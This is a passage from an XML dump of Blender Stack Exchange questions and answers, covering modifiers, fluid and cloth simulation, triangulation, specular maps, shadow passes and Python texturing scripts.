for that specific pixel.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may also want some subtle displacement, as windows are rarely perfectly flat. I added a &lt;em&gt;noise texture&lt;/em&gt; and multiplied it with the inverted map, so the noise texture is only on the windows. (the rest is white). This is then plugged into the &lt;em&gt;Displacement&lt;/em&gt; socket.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qiTN4.png&quot; alt=&quot;Rendered building&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://www.blenderguru.com/videos/how-to-create-a-city/&quot; rel=&quot;noreferrer&quot;&gt;this tutorial on BlenderGuru&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-24T19:31:43.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5071" PostTypeId="2" ParentId="5053" CreationDate="2013-11-23T22:35:03.613" Score="4" Body="&lt;p&gt;This is because the objects are &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Curve&lt;/em&gt;&lt;/a&gt; objects. Note the warning in the &lt;em&gt;Info panel&lt;/em&gt; that appears when the modifier is applied:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZCXw.png&quot; alt=&quot;Applied modifier info&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the modifier is active (not applied) it affects the polygon geometry generated by the curve object. When you apply the modifier it will only affect the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Bezier_Curves&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Control Vertices&lt;/em&gt;&lt;/a&gt; (CV points) of the curve, giving a different result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XneT5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the CV points are shrink-wrapped to the edges of the mesh, redefining the geometry defined by the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To retain the shape, you must convert the object to a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mesh&lt;/em&gt;&lt;/a&gt;. This can be done with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Convert &gt; Mesh&lt;/em&gt;. This will take the geometry generated by the curve object and turn it into a mesh object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYsCE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will apply all modifiers as well. (See &lt;a href=&quot;https://blender.stackexchange.com/q/3488/599&quot;&gt;this post&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-11-23T23:00:31.320" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5072" PostTypeId="1" CreationDate="2013-11-24T00:03:42.713" Score="6" ViewCount="7568" Body="&lt;p&gt;How do the Start, End and Speed settings work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't the Speed setting determined by the Start and End settings?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say I have 120 frames (at 30fps, thus 4s), and I set &quot;Start: 0&quot;, &quot;End: 8&quot;, then the fluid will move around twice as fast as a normal fluid.  But then if I set &quot;Speed: 1&quot;, doesn't it contradict the previous settings?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2013-11-24T02:16:21.670" Title="For Fluid Simulation, what do the Start, End and Speed settings mean?" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5073" PostTypeId="1" AcceptedAnswerId="5074" CreationDate="2013-11-24T00:05:03.307" Score="6" ViewCount="3250" Body="&lt;p&gt;If you make a plane and move two vertices on opposite corners, you will have a non-planar face. This will be rendered with an &quot;invisible&quot; edge along either of the opposite pair of vertices. Or in other words, the face will be triangulated by picking two opposite vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 3ds max, there's an option to actually edit this triangulation so that you can decide how it's rendered. This is done without creating any edges, it's just the face's triangulation that's edited. This way you can keep topology in quads while still controlling triangulation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JMN1M.png&quot; alt=&quot;3ds max before&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DAhla.png&quot; alt=&quot;3ds max after&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender, I see no other option than to manually add edges, disrupting the topology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xd0xo.png&quot; alt=&quot;blender 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VZjpL.png&quot; alt=&quot;blender 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it possible to edit the triangulation in Blender, without modifying topology?&lt;/p&gt;&#xA;" OwnerUserId="1574" LastEditorUserId="12" LastEditDate="2013-11-24T00:12:48.460" LastActivityDate="2013-11-24T00:34:24.003" Title="Edit face triangulation without actually adding edge" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5074" PostTypeId="2" ParentId="5073" CreationDate="2013-11-24T00:34:24.003" Score="11" Body="&lt;p&gt;Triangulation can't be controlled directly, it's not even done by Blender in object mode. Instead, it is left to the graphics driver to decide how to triangulate non-planar quads (which differs among drivers for different cards). Behavior may even change with VBO enabled or disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d34ly.png&quot; alt=&quot;Viewport and Modifier Triangulation Differences&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the triangulation modifier to get a bit of control with the beauty option, to divide across the shortest diagonal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jf56N.png&quot; alt=&quot;Triangulation Modifier Beauty-option&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-11-24T00:34:24.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5075" PostTypeId="1" CreationDate="2013-11-24T00:37:39.690" Score="2" ViewCount="1211" Body="&lt;p&gt;I am trying to import a video to use as a background. I used cycles render but the video doesn't show up. I uploaded the video using video editor, then added the scene then added alpha over to the images. I used node editor to do the same thing and the video isn't showing up. I tried to find videos online but everyone is using blender render, the problem is the texture of the object I have only shows up in cycles and not blender render and I want to be able to see everything. Is there a way I can view the video?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the video is a .mov file but it is very big about 500MB.!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1mrZT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is the rendered image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e2P2P.png&quot; alt=&quot;here is the second part of the compositor, I couldn&amp;#39;t fit it all in one screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/br0u9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my VSE editor&#xA;&lt;img src=&quot;https://i.stack.imgur.com/T8oKz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that was all I did.&lt;/p&gt;&#xA;" OwnerUserId="1627" LastEditorUserId="1363" LastEditDate="2014-07-27T03:26:34.853" LastActivityDate="2014-08-26T11:12:03.300" Title="Problem rendering a video (Cycles / Node Editor / VSE)" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5076" PostTypeId="2" ParentId="5069" CreationDate="2013-11-24T00:52:22.643" Score="6" Body="&lt;p&gt;You could use a &lt;em&gt;specular map&lt;/em&gt;. It's a texture where the whiteness determins the amount &lt;em&gt;and&lt;/em&gt; location of the shininess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a simple example, I created two simple textures - the regular texture and the specular texture. The specular have white where the windows are and black for the rest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9rjgd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then make a plane mesh in Blender for this demonstration, and apply a material to it. Also I add a Sun lamp with an angle so it's easy to see the specularity. In the textures properties, I add the diffuse and specular:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rFkLP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I haven't touched the specular (&lt;code&gt;Texture.001&lt;/code&gt;) properties yet, so the plane looks like it has completely flat shininess:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/clf1O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you go to the specular texture and under &quot;Influence&quot;, deselect &quot;Diffuse color&quot; and select some or all of &quot;Specular Color&quot;/&quot;Specular hardness&quot;/&quot;Specular intensity&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WcgL6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B4Ouc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1574" LastEditorUserId="1574" LastEditDate="2013-11-24T01:05:14.297" LastActivityDate="2013-11-24T01:05:14.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5077" PostTypeId="2" ParentId="5072" CreationDate="2013-11-24T01:35:29.583" Score="6" Body="&lt;p&gt;The &lt;em&gt;Start&lt;/em&gt; and &lt;em&gt;End&lt;/em&gt; values tells the simulator how much &lt;em&gt;&quot;real time&quot;&lt;/em&gt; it must calculate within your scene's &lt;em&gt;start&lt;/em&gt; and &lt;em&gt;end&lt;/em&gt; frames. Note that they are in &lt;strong&gt;seconds&lt;/strong&gt; and not &lt;em&gt;frames&lt;/em&gt;, because it should be considered as &quot;real world&quot; timing, included within your animation timing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Speed&lt;/em&gt; value is like the &quot;motion speed&quot; of the simulation. Lower value will give you &quot;slow-motion&quot; style animation, while higher value will result in a hi-speed animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first you have to take care about how many frames you have in your animation, and the framerate you set in the &lt;em&gt;Render&lt;/em&gt; panel, in order to have the corresponding &quot;real world&quot; timing.&lt;br&gt;&#xA;Example, as you stated :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;start frame: 0&lt;/li&gt;&#xA;&lt;li&gt;end frame: 120&lt;/li&gt;&#xA;&lt;li&gt;framerate: 30 fps&lt;/li&gt;&#xA;&lt;li&gt;real-world timing: 120/30 = &lt;strong&gt;4 seconds&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you can set your &lt;em&gt;start&lt;/em&gt; value as you wish, in order to offset the beginning of the animation, while there is 4 seconds between &lt;em&gt;start&lt;/em&gt; and &lt;em&gt;end&lt;/em&gt;. (0 → 4, or 1.5 → 5.5, or 6 → 10 for instance). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;speed&lt;/em&gt; value, indeed, will allow you to speed up or down the &lt;strong&gt;animation&lt;/strong&gt;. The difference is that the simulation won't take too long to calculate if you  slow down the speed (at, say, 0.1), making possible to keep only 120 frames of animation, on which you can simulate a small moment of the simulation (for example, the moment where the little wave of a drop reach back and separate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can watch a video by &lt;em&gt;Daniel Kreuter&lt;/em&gt; explaining this feature with some examples :&lt;br&gt;&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=mxG8KbJPNI4&quot; rel=&quot;noreferrer&quot;&gt;http://www.youtube.com/watch?v=mxG8KbJPNI4&lt;/a&gt;&lt;br&gt;&#xA;Beware still, at the time of this video, there were no &lt;em&gt;speed&lt;/em&gt; value. Instead we were able to tweak the speed with the &lt;em&gt;Real world size&lt;/em&gt; property, which is not exactly the same.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="12" LastEditDate="2013-11-24T02:16:21.670" LastActivityDate="2013-11-24T02:16:21.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5078" PostTypeId="1" AcceptedAnswerId="5080" CreationDate="2013-11-24T01:44:25.490" Score="7" ViewCount="613" Body="&lt;p&gt;I've created a mesh that somewhat resembles a phone cord by following &lt;a href=&quot;http://cgcookie.com/blender/2013/05/09/rigging-a-spiral-phone-chord-in-blender/&quot;&gt;this tutorial&lt;/a&gt;.  Now I want to modify a subsection of the structure.  Specifically, I would like to scale down the &quot;diameter&quot; of the structure somewhere in the middle.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this besides creating separate meshes for each of the differently-sized subsections?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="19307" LastEditDate="2020-01-09T11:04:07.210" LastActivityDate="2020-01-09T11:04:07.210" Title="How can I scale a subsection of a mesh created with the screw modifier?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;transforms&gt;&lt;screw-modifier&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5079" PostTypeId="1" AcceptedAnswerId="5081" CreationDate="2013-11-24T03:47:48.930" Score="5" ViewCount="1677" Body="&lt;p&gt;I am trying to have a blender file using Blender 2.69 that allows you to look around and also see textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting the shading on GLSL and turning on Textured Solid make the textures render great, but then an effect almost identical to Backface Culling occurs. I would like to avoid this as it makes everything look really weird and removes some important parts of the model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to avoid the backface culling effect while using Textured solid?&lt;/p&gt;&#xA;" OwnerUserId="1338" LastEditorUserId="599" LastEditDate="2013-11-24T04:53:15.907" LastActivityDate="2013-11-24T08:23:01.637" Title="Is there a way to use Textured Solid without getting a Backface Culling effect?" Tags="&lt;texturing&gt;&lt;3d-view&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5080" PostTypeId="2" ParentId="5078" CreationDate="2013-11-24T03:49:56.560" Score="8" Body="&lt;p&gt;If you are trying to adjust the Curve path in this case, you can follow this way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tab into the Edit Mode, select one or more points on the curve;&lt;/li&gt;&#xA;&lt;li&gt;Then press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to loosen or narrow it as you want (or click &lt;strong&gt;Scale Feather&lt;/strong&gt; button in the Toolshelf).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DjWGh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-24T03:49:56.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5081" PostTypeId="2" ParentId="5079" CreationDate="2013-11-24T04:41:36.723" Score="5" Body="&lt;p&gt;While toggling &lt;strong&gt;Textured Solid&lt;/strong&gt; in &lt;strong&gt;Solid&lt;/strong&gt; view, it will always display culling effect, regardless whether &lt;strong&gt;Backface Culling&lt;/strong&gt; is toggled, I'm not sure if this is made on purpose. So, I think the answer is &quot;no&quot;. However, you can always switch to the real &lt;strong&gt;Texture&lt;/strong&gt; View mode in order to turn it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GbOLA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-24T08:23:01.637" LastActivityDate="2013-11-24T08:23:01.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5082" PostTypeId="1" CreationDate="2013-11-24T10:32:19.320" Score="8" ViewCount="6672" Body="&lt;p&gt;I'm in trouble with finding a way to set DPI value of files within Blender. I have set up an automated workflow to generate image files for printing, but the volume is too high to open and change the DPI value of each image separately. (PNG for example)&lt;/p&gt;&#xA;" OwnerUserId="1636" LastEditorUserId="55" LastEditDate="2014-07-11T08:09:55.870" LastActivityDate="2014-07-11T08:09:55.870" Title="Setting the DPI value in rendered images" Tags="&lt;image&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5083" PostTypeId="1" CreationDate="2013-11-24T10:37:28.473" Score="3" ViewCount="2766" Body="&lt;p&gt;I'm creating an addon for browsing for an image and creating a texture from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could get Image path from the user but I stuck in how to apply the image to the object as a texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In original Blender The images disappear from the preview if it's misplaced, renamed, or deleted after texturing the object. See image one. After browsing  to that image, Once again its come back in Blender. See image two.&lt;br&gt;&#xA;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.MyPath = StringProperty(name=&quot;Browse Image:&quot;,&#xA;   attr=&quot;custompath&quot;,# this a variable that will set or get from the scene&#xA;   description=&quot;simple file path&quot;,&#xA;   maxlen= 1024,&#xA;   subtype='FILE_PATH',&#xA;   default= &quot;&quot;)#this set the text&#xA;&#xA;class TexturePanel(Panel):&#xA;   .&#xA;   .&#xA;   .&#xA;   .&#xA;   self.layout.prop(context.scene, 'MyPath') # creates Browser in panel&#xA;   .&#xA;   .&#xA;   .&#xA;   .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the Image two left side of the blender marked in blue color for browsing to the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to apply this? Or how can we texture in Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8hkCV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;two&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9jihI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="599" LastEditDate="2013-11-24T19:01:28.213" LastActivityDate="2013-11-24T21:24:48.437" Title="Browse for an Image and assign it as a texture in python?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5084" PostTypeId="1" AcceptedAnswerId="5086" CreationDate="2013-11-24T10:41:21.300" Score="5" ViewCount="8323" Body="&lt;p&gt;Everytime I am doing one thing another problem comes up, and I have a deadline to follow unless there is a way to create shadows using another software (after effects)? I want to composite this thing in after effects but I cannot do something simple like a shadows pass. I followed the shadows pass tutorials but of course nothing works. Here is my node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPbHi.png&quot; alt=&quot;as the backdrop shows, there is only black&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJAqb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are other settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YXCnt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6j6sq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HfkdA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I am doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;an update to my node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/55HVu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1627" LastEditorUserId="2217" LastEditDate="2014-07-05T01:24:40.433" LastActivityDate="2014-07-05T01:24:40.433" Title="How to create a shadows pass in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5085" PostTypeId="2" ParentId="5082" CreationDate="2013-11-24T11:19:58.363" Score="6" Body="&lt;p&gt;May be this addon is the one you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sxXLB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Render_to_Print&quot; rel=&quot;noreferrer&quot;&gt;Wiki page&lt;/a&gt; about this addon.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-24T11:19:58.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5086" PostTypeId="2" ParentId="5084" CreationDate="2013-11-24T14:59:42.447" Score="5" Body="&lt;p&gt;Here is a simple example for using Shadow pass in your case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1Ddg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally prefer combining shadow with other passes like AO, for better result.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-24T14:59:42.447" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5087" PostTypeId="1" CreationDate="2013-11-24T16:08:55.787" Score="2" ViewCount="4361" Body="&lt;p&gt;I'm following &lt;a href=&quot;https://www.youtube.com/watch?v=2zd1AI198I8&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial, and came to the step where I start the physics simulation for a piece of cloth dropping on an object (11:25 on video);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press the &quot;play&quot; animation button, the cloth that should fall on the object does not animate, and nothing happens except the animation marker which plays. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot get the cloth to animate as it does on the video tutorial, what can I be missing?&lt;/p&gt;&#xA;" OwnerUserId="1676" LastEditorUserId="1112" LastEditDate="2014-01-23T23:02:34.170" LastActivityDate="2014-01-23T23:02:34.170" Title="Cloth simulation not animated in 3D Viewport" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-23T23:04:32.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="5088" PostTypeId="2" ParentId="5087" CreationDate="2013-11-24T16:14:31.007" Score="1" Body="&lt;p&gt;It seemed to work after waiting a few seconds when the play animation button was clicked. It took some time for it to actually start animating.&lt;/p&gt;&#xA;" OwnerUserId="1676" LastEditorUserId="1676" LastEditDate="2013-11-24T16:27:36.553" LastActivityDate="2013-11-24T16:27:36.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5089" PostTypeId="1" AcceptedAnswerId="5092" CreationDate="2013-11-24T17:31:54.733" Score="4" ViewCount="599" Body="&lt;p&gt;When you first start up Blender 2.6.9 it has a cube, a camera, and a lamp. Both the camera and the lamp have a simple icon-like image that you can see and move around like other objects in the scene. However, sometime during my modeling process these icons have disappeared and when I try to move my light source a circle shows up around where it is but the circle doesn't move when I try to move the light around. Is there a setting or some way to change it back so that I can see the icons for the lamp and camera and move them around again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I also just found out when I tried to move other objects that the circle shows up for them too, is there a way to make that go away as well? It's kind of annoying and I'm not used to it.&lt;/p&gt;&#xA;" OwnerUserId="1338" LastEditorUserId="12" LastEditDate="2013-11-26T05:06:42.717" LastActivityDate="2013-11-26T05:07:54.487" Title="How to get a lamp icon at the location of a lamp" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5090" PostTypeId="1" AcceptedAnswerId="5571" CreationDate="2013-11-24T17:33:05.770" Score="5" ViewCount="475" Body="&lt;p&gt;I am linking in a rigged character to another file. But I cannot seem to get the &quot;Curve Guide&quot; physics to work for the hair of the character. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some bones of the rig controls some empties that in turn works as hooks on a curve. &#xA;Finally, the curve is enabled as a &quot;Curve Guide&quot; which controls the movement of a hair braid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the curve guide does not seem to be working when I link in the character in another file. I have made the rig a proxy and I see changes in the curve placement when I move the bones, but the hair is unaffected by the the curve guide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get this to work? Preferably without making local copies of things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: In the character file everything work as intended. It is when I link the group containing the character, the rig, the empties and the hair emitter that I run into problems. &lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2013-12-16T03:50:00.850" Title="Curve guide on linked object" Tags="&lt;physics&gt;&lt;linked-data&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5092" PostTypeId="2" ParentId="5089" CreationDate="2013-11-24T17:42:23.913" Score="4" Body="&lt;p&gt;The large circle you described is showing because you have &lt;em&gt;Proportional Editing&lt;/em&gt; enabled &lt;img src=&quot;https://i.stack.imgur.com/JrUJy.png&quot; alt=&quot;enter image description here&quot;&gt;. Click the icon or use &lt;kbd&gt;O&lt;/kbd&gt; to disable it. As for the missing icons, make sure that you didn't hide them accidentally or that you didn't tick &lt;em&gt;Only Render&lt;/em&gt; under &lt;em&gt;Display&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-11-24T19:05:45.737" LastActivityDate="2013-11-24T19:05:45.737" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5095" PostTypeId="1" CreationDate="2013-11-24T19:44:43.057" Score="4" ViewCount="907" Body="&lt;p&gt;I am trying to create a 3D model using Python scripting with Blender 2.69. I start from a cube and subtract several spheres from it to make indentations. I then form a ring out of four cylinders and four spheres, which I then also subtract from the sphere. However, the result of this step (as marked in the script) is unexpected (the ring isn't subtracted, only one cylinder is deleted/unlinked from the scene). When I inspect the cube in the Blender UI, it only says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cannot execute boolean operation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is also something else that seems odd and that could be related: If I uncomment the two lines at the end of &lt;code&gt;union()&lt;/code&gt;, it will lead to this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RuntimeError: Operator bpy.ops.object.modifier_apply.poll() failed, context is incorrect&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I dig deeper and find out more about the root cause, and how does the script have to be patched?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen &lt;a href=&quot;https://blender.stackexchange.com/questions/2452/how-to-deal-with-cannot-execute-boolean&quot;&gt;this&lt;/a&gt; previous answer and a mentioning of the error message in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender documentation&lt;/a&gt;, however neither seemed to provide sufficient information. I get the sense that the problem may be that several of the objects which I want to subtract are overlapping and it may not be possible to subtract them all at once, but I don't (yet) know what specific changes to the script are  needed to obey this piece of advice from the documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In this case, you can apply the first Boolean modifier of the stack for the target and then use the other 